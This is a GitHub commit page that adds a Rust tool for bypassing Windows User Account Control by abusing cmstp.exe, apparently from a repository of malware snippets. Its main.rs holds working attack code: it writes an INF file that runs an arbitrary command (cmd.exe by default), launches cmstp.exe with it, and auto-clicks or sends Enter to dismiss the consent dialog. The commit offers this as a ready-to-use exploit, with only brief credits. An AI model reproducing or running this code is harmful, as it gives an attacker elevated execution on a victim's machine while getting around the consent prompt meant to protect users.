Skip to content

Commit eed23c1

Browse files
committed
UAC Bypass using cmstp.exe
1 parent 905f948 commit eed23c1

File tree

5 files changed

+177
-0
lines changed

5 files changed

+177
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,7 @@
4343
* [Syscalls](syscalls/): Syscall Implementation using system call STUB [Direct/Indirect] methods.
4444
* [BSOD](BSOD): Causes BSOD when Executing.
4545
* [Persistence](Persistence): Persistence Code Snippet.
46+
* [UAC Bypass CMSTP](uac-bypass-cmstp/): Bypass UAC by elevating CMSTP.exe
4647
* [Process Injection 2](Process): Process Injection Code Snippet 2.
4748
* [Malware DSA](shellcode_exec/DSA_Exec): Implementing malwares using DSA (Data Structures and Algorithms) Concept.
4849

uac-bypass-cmstp/Cargo.toml

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
[package]
2+
name = "uac-bypass-cmstp"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
uuid = { version = "1.11.0", features = ["v4"] }
8+
winapi = {version = "0.3.9", features = [
9+
"psapi",
10+
"winuser",
11+
"handleapi",
12+
"minwindef",
13+
"processthreadsapi",
14+
]}

uac-bypass-cmstp/README.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
# UAC Bypass - CMSTP
2+
3+
Use CMSTP.exe to bypass UAC.
4+
5+
![UAC_BYPASS](./uac_bypass.png)
6+
7+
## Credits
8+
9+
* https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
10+
* https://github.com/expl0itabl3/uac-bypass-cmstp.git
11+
12+
By [@5mukx](https://x.com/5mukx)

uac-bypass-cmstp/src/main.rs

Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
/*
2+
Bypass UAC by using CMSTP.exe
3+
@5mukx
4+
*/
5+
6+
use std::env::args;
7+
use std::ffi::CString;
8+
use std::fs::File;
9+
use std::io::{Error as IoError, Write};
10+
use std::path::Path;
11+
use std::process::{Command, Stdio};
12+
use std::ptr::null_mut;
13+
use winapi::um::winuser::{
14+
FindWindowA, FindWindowExA, SendMessageA, SetForegroundWindow, ShowWindow, BM_CLICK, SW_SHOWNORMAL,
15+
};
16+
use winapi::um::winuser::{SendInput, INPUT, INPUT_KEYBOARD, KEYBDINPUT, VK_RETURN};
17+
18+
#[derive(Debug)]
19+
#[allow(dead_code)]
20+
enum CustomError {
21+
Io(IoError),
22+
Process(String),
23+
WindowNotFound(String),
24+
}
25+
26+
impl From<IoError> for CustomError {
27+
fn from(error: IoError) -> Self {
28+
CustomError::Io(error)
29+
}
30+
}
31+
32+
static INF_TEMPLATE: &str = r#"[version]
33+
Signature=$chicago$
34+
AdvancedINF=2.5
35+
36+
[DefaultInstall]
37+
CustomDestination=CustInstDestSectionAllUsers
38+
RunPreSetupCommands=RunPreSetupCommandsSection
39+
40+
[RunPreSetupCommandsSection]
41+
REPLACE_COMMAND_LINE
42+
taskkill /IM cmstp.exe /F
43+
44+
[CustInstDestSectionAllUsers]
45+
49000,49001=AllUSer_LDIDSection, 7
46+
47+
[AllUSer_LDIDSection]
48+
"HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
49+
50+
[Strings]
51+
ServiceName="CorpVPN"
52+
ShortSvcName="CorpVPN"
53+
"#;
54+
55+
fn generate_inf_file(command: &str) -> Result<String, CustomError> {
56+
let temp_dir = "C:\\windows\\temp";
57+
let random_file_name = format!("{}\\{}.inf", temp_dir, uuid::Uuid::new_v4());
58+
let inf_data = INF_TEMPLATE.replace("REPLACE_COMMAND_LINE", command);
59+
60+
let mut file = File::create(&random_file_name)?;
61+
file.write_all(inf_data.as_bytes())?;
62+
Ok(random_file_name)
63+
}
64+
65+
fn execute_cmstp(inf_file: &str) -> Result<(), CustomError> {
66+
let binary_path = "C:\\windows\\system32\\cmstp.exe";
67+
if !Path::new(binary_path).exists() {
68+
return Err(CustomError::Process("cmstp.exe binary not found!".to_string()));
69+
}
70+
71+
let mut child = Command::new(binary_path)
72+
.arg("/au")
73+
.arg(inf_file)
74+
.stdout(Stdio::null())
75+
.stderr(Stdio::null())
76+
.spawn()
77+
.map_err(|e| CustomError::Process(format!("Failed to start cmstp.exe: {}", e)))?;
78+
79+
let window_titles = ["CorpVPN", "cmstp"];
80+
for title in &window_titles {
81+
if interact_with_window(title)? {
82+
break;
83+
}
84+
}
85+
86+
child.wait()?;
87+
Ok(())
88+
}
89+
90+
fn interact_with_window(process_name: &str) -> Result<bool, CustomError> {
91+
let class_name = CString::new(process_name).map_err(|_| CustomError::WindowNotFound("Failed to create CString for window title".to_string()))?;
92+
let ok_button_name = CString::new("OK").map_err(|_| CustomError::WindowNotFound("Failed to create CString for OK button".to_string()))?;
93+
94+
loop {
95+
unsafe {
96+
let hwnd = FindWindowA(null_mut(), class_name.as_ptr());
97+
if hwnd.is_null() {
98+
continue; // Keep trying to find the window
99+
}
100+
101+
SetForegroundWindow(hwnd);
102+
ShowWindow(hwnd, SW_SHOWNORMAL);
103+
104+
let ok_button = FindWindowExA(
105+
hwnd,
106+
null_mut(),
107+
null_mut(),
108+
ok_button_name.as_ptr(),
109+
);
110+
if !ok_button.is_null() {
111+
SendMessageA(ok_button, BM_CLICK, 0, 0);
112+
return Ok(true);
113+
}
114+
115+
simulate_keypress();
116+
return Ok(true);
117+
}
118+
}
119+
}
120+
121+
fn simulate_keypress() {
122+
unsafe {
123+
let mut input = INPUT {
124+
type_: INPUT_KEYBOARD,
125+
u: std::mem::zeroed(),
126+
};
127+
128+
*input.u.ki_mut() = KEYBDINPUT {
129+
wVk: VK_RETURN as u16,
130+
wScan: 0,
131+
dwFlags: 0,
132+
time: 0,
133+
dwExtraInfo: 0,
134+
};
135+
136+
SendInput(1, &mut input, std::mem::size_of::<INPUT>() as i32);
137+
}
138+
}
139+
140+
fn main() -> Result<(), CustomError> {
141+
let args: Vec<String> = args().collect();
142+
143+
let inf_file = match args.len() {
144+
1 => generate_inf_file("C:\\Windows\\System32\\cmd.exe")?,
145+
2 => generate_inf_file(&args[1])?,
146+
_ => return Err(CustomError::Process("Incorrect number of arguments. Use exactly one or none.".to_string())),
147+
};
148+
149+
execute_cmstp(&inf_file)
150+
}

uac-bypass-cmstp/uac_bypass.png

122 KB
Loading

0 commit comments

Comments
 (0)